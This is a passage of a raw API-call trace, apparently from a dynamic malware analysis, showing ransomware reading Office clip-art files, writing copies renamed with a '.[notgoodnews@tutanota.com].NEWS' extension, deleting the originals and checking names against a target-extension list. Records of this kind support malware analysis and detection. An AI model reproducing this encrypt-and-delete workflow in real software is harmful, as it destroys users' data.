lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0093.412] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.412] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.412] SetEndOfFile (hFile=0x390) returned 1 [0093.412] CloseHandle (hObject=0x390) returned 1 [0093.412] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.412] SetEndOfFile (hFile=0x354) returned 1 [0093.413] CloseHandle (hObject=0x354) returned 1 [0093.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.414] lstrlenW (lpString=".doc") returned 4 [0093.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString=".docx") returned 5 [0093.414] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.414] lstrlenW (lpString=".pdf") returned 4 [0093.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString=".xls") returned 4 [0093.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.414] lstrlenW (lpString=".xlsx") returned 5 [0093.414] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.414] lstrlenW (lpString=".ppt") returned 4 [0093.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.414] lstrlenW (lpString=".zip") returned 4 [0093.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.414] lstrlenW (lpString=".rar") returned 4 [0093.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString=".bz2") returned 4 [0093.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString=".7z") returned 3 [0093.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.414] lstrlenW (lpString=".dbf") returned 4 [0093.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.414] lstrlenW (lpString=".1cd") returned 4 [0093.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.414] lstrlenW (lpString=".jpg") returned 4 [0093.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.415] lstrlenW (lpString=".doc") returned 4 [0093.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString=".docx") returned 5 [0093.415] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.415] lstrlenW (lpString=".pdf") returned 4 [0093.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString=".xls") returned 4 [0093.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.415] lstrlenW (lpString=".xlsx") returned 5 [0093.415] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.415] lstrlenW (lpString=".ppt") returned 4 [0093.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.415] lstrlenW (lpString=".zip") returned 4 [0093.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.415] lstrlenW (lpString=".rar") returned 4 [0093.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString=".bz2") returned 4 [0093.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString=".7z") returned 3 [0093.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.415] lstrlenW (lpString=".dbf") returned 4 [0093.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.415] lstrlenW (lpString=".1cd") returned 4 [0093.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0093.415] lstrlenW (lpString=".jpg") returned 4 [0093.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.415] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.415] lstrlenW (lpString="J0102984.WMF") returned 12 [0093.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.416] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=17040) returned 1 [0093.416] CloseHandle (hObject=0x354) returned 1 [0093.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0093.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.416] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.416] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.417] GetLastError () returned 0x0 [0093.417] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4290, lpOverlapped=0x0) returned 1 [0093.418] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0093.420] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.420] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.420] SetEndOfFile (hFile=0x390) returned 1 [0093.420] CloseHandle (hObject=0x390) returned 1 [0093.420] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.420] SetEndOfFile (hFile=0x354) returned 1 [0093.421] CloseHandle (hObject=0x354) returned 1 [0093.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString=".doc") returned 4 [0093.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString=".docx") returned 5 [0093.422] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.422] lstrlenW (lpString=".pdf") returned 4 [0093.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString=".xls") returned 4 [0093.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.422] lstrlenW (lpString=".xlsx") returned 5 [0093.422] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.422] lstrlenW (lpString=".ppt") returned 4 [0093.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString=".zip") returned 4 [0093.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.422] lstrlenW (lpString=".rar") returned 4 [0093.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString=".bz2") returned 4 [0093.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString=".7z") returned 3 [0093.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString=".dbf") returned 4 [0093.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString=".1cd") returned 4 [0093.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString=".jpg") returned 4 [0093.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.422] lstrlenW (lpString=".doc") returned 4 [0093.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString=".docx") returned 5 [0093.423] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.423] lstrlenW (lpString=".pdf") returned 4 [0093.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString=".xls") returned 4 [0093.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.423] lstrlenW (lpString=".xlsx") returned 5 [0093.423] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.423] lstrlenW (lpString=".ppt") returned 4 [0093.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.423] lstrlenW (lpString=".zip") returned 4 [0093.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.423] lstrlenW (lpString=".rar") returned 4 [0093.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString=".bz2") returned 4 [0093.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString=".7z") returned 3 [0093.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.423] lstrlenW (lpString=".dbf") returned 4 [0093.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.423] lstrlenW (lpString=".1cd") returned 4 [0093.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0093.423] lstrlenW (lpString=".jpg") returned 4 [0093.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.423] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.423] lstrlenW (lpString="J0103058.WMF") returned 12 [0093.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.424] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=17344) returned 1 [0093.424] CloseHandle (hObject=0x354) returned 1 [0093.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0093.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.424] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.424] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.425] GetLastError () returned 0x0 [0093.425] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0093.627] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0093.628] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.628] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.628] SetEndOfFile (hFile=0x390) returned 1 [0093.653] CloseHandle (hObject=0x390) returned 1 [0093.662] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.662] SetEndOfFile (hFile=0x354) returned 1 [0093.663] CloseHandle (hObject=0x354) returned 1 [0093.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0093.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.664] lstrlenW (lpString=".doc") returned 4 [0093.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.664] lstrlenW (lpString=".docx") returned 5 [0093.664] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.664] lstrlenW (lpString=".pdf") returned 4 [0093.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.664] lstrlenW (lpString=".xls") returned 4 [0093.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.664] lstrlenW (lpString=".xlsx") returned 5 [0093.664] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.664] lstrlenW (lpString=".ppt") returned 4 [0093.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.664] lstrlenW (lpString=".zip") returned 4 [0093.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.664] lstrlenW (lpString=".rar") returned 4 [0093.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.664] lstrlenW (lpString=".bz2") returned 4 [0093.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString=".7z") returned 3 [0093.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.665] lstrlenW (lpString=".dbf") returned 4 [0093.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.665] lstrlenW (lpString=".1cd") returned 4 [0093.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.665] lstrlenW (lpString=".jpg") returned 4 [0093.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.665] lstrlenW (lpString=".doc") returned 4 [0093.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString=".docx") returned 5 [0093.665] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.665] lstrlenW (lpString=".pdf") returned 4 [0093.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString=".xls") returned 4 [0093.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.665] lstrlenW (lpString=".xlsx") returned 5 [0093.665] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.665] lstrlenW (lpString=".ppt") returned 4 [0093.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.665] lstrlenW (lpString=".zip") returned 4 [0093.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.665] lstrlenW (lpString=".rar") returned 4 [0093.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString=".bz2") returned 4 [0093.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.665] lstrlenW (lpString=".7z") returned 3 [0093.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.666] lstrlenW (lpString=".dbf") returned 4 [0093.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.666] lstrlenW (lpString=".1cd") returned 4 [0093.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0093.666] lstrlenW (lpString=".jpg") returned 4 [0093.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.666] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.666] lstrlenW (lpString="J0105240.WMF") returned 12 [0093.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.666] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=11532) returned 1 [0093.666] CloseHandle (hObject=0x354) returned 1 [0093.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0093.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.667] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.667] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.667] GetLastError () returned 0x0 [0093.667] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0093.669] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0093.670] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.670] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, 